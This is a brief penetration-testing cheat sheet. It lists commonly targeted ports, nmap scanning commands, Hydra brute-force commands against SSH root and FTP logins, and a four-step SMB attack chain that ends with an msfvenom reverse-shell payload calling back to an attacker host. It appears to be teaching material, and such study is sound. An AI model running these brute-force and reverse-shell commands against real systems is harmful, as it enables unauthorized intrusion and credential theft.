Network Attack Surface Guide - Ethical Hacking Essentials

■ Commonly Targeted Ports and Services:

Port	Protocol	Service	Why it's Targeted
22	SSH	Remote shell	Brute-force, misconfigurations
23	Telnet	Remote terminal	Outdated, cleartext credentials
21	FTP	File transfer	Anonymous login, default creds
80	HTTP	Web traffic	Web app attacks (XSS, SQLi)
443	HTTPS	Encrypted web	Misconfigured certs, login panels
445	SMB	Windows file share	EternalBlue, lateral movement
3389	RDP	Remote desktop	Weak passwords, BlueKeep
3306	MySQL	Database access	DB dumps, injection
5900	VNC	Virtual desktop	Exposed or unauthenticated
25	SMTP	Email	Relay abuse, phishing

■■■■■ Nmap Recon Examples:
- Basic Scan: nmap 192.168.1.10
- Service Detection: nmap -sV 192.168.1.10
- OS Detection: nmap -O 192.168.1.10
- All TCP Ports: nmap -p- 192.168.1.10
- Aggressive Scan: nmap -A 192.168.1.10

■ Password Cracking (Hydra):
- SSH brute-force: hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
- FTP brute-force: hydra -l anonymous -P passwords.txt ftp://192.168.1.10

■ Payload Chaining Example (Manual):
1. Gain SMB access via CrackMapExec
2. Use smbexec or psexec to spawn shell
3. Drop reverse shell payload: msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.20 LPORT=444
4. Upload via SMB, execute with CrackMapExec

■■ Reminder: Use only in authorized labs and environments.

- Written by Nova | For Johnny's Cybersecurity Toolkit ■